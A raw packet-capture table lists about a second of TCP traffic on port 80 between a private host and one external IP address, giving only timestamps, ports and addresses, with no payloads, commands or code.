Oct 13, 2024 00:47:50.896337986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896348000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896358013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896368980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896423101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896423101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896768093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896785021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896799088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896815062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896830082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896845102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896888971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896889925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896892071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896908045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896914005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896924973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896944046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896956921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896956921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896956921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896974087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896989107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.896990061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.896989107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897006989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897008896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897023916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897037029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897037029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897038937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897056103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897058010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897069931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897083998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897083998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897085905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897104025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897123098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897141933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897728920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897744894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897761106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897777081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897792101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897797108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897808075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897818089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897825956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897835970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897842884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:50.897860050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897876978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:50.897893906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017318010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017348051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017360926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017417908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017474890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017496109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017530918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017556906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017570972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017590046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017611980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017678022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017693043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017707109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017724037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017744064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017756939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017781019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017801046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017836094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017877102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017947912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017962933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017976999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.017983913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.017995119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018001080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018012047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018018961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018030882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018037081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018055916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018073082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018184900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018228054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018256903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018270969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018285036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018292904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018301010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018309116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018316984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018322945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018338919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018353939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018491030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018507004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018521070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018532038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018537045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018547058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018554926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018563032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018579960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018594027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018860102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018876076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018889904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018907070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018914938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018920898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018928051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018939018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018953085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018958092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018968105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.018976927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.018985987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019001007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019006968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019016981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019021034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019035101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019056082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019076109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019551039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019566059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019581079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019593954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019604921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019608974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019618034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019627094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019642115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019646883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019658089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019665956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019675970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019690037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019700050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019705057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019721985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019726038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019737959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019752979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019758940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019769907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019769907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019785881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019793987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019800901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.019826889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.019849062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020347118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020361900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020375967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020390987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020397902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020407915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020410061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020433903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020457983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020494938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020509958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020523071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020538092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020551920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020565987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020565987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020575047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020581961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020596027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020596027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020612001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020621061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020626068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020637035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020642042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020656109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020658970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020674944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020680904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020689964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020706892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.020709038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020731926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.020756960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021431923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021447897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021462917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021476984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021485090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021493912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021503925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021508932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021522999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021531105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021539927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021550894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021553993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021569967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021569967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021585941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021595001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021600962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021615028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021615982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021631002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021641970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021646023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021661043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021667957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021678925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021693945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.021696091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021717072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.021743059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022169113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022185087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022214890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022233009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022310972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022334099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022347927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022350073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022365093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022367954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022381067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022387981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022399902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022403002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022416115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022419930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022432089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022437096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022449017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022452116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022468090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022469997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022484064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022485018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022501945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022501945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022517920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022524118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022532940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022538900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022551060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022555113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022568941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.022572041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022588015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.022600889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.023180962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023195982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023210049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023224115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023232937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.023238897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023255110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023262978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.023271084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023281097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.023286104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023300886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.023308039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.023336887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106575012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106594086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106628895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106643915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106652021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106678963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106678963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106688023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106765985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106782913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106797934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106806993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106822014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106837988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106843948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106889963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.106940031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106956005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106964111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106971025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106977940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.106987000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107157946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107172966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107198000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107214928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107229948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107242107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107247114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107259989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107278109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107353926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107362032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107368946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107397079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107407093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107413054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107422113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107425928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107474089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107671976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107686996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107701063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107718945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107722044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107727051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107733965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107741117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107748032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107753038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107760906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107769966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107784986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107791901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107799053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107808113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.107821941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.107863903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108128071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108175039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108298063 CEST	80	49711	185.215.113.37	192.168.2.6
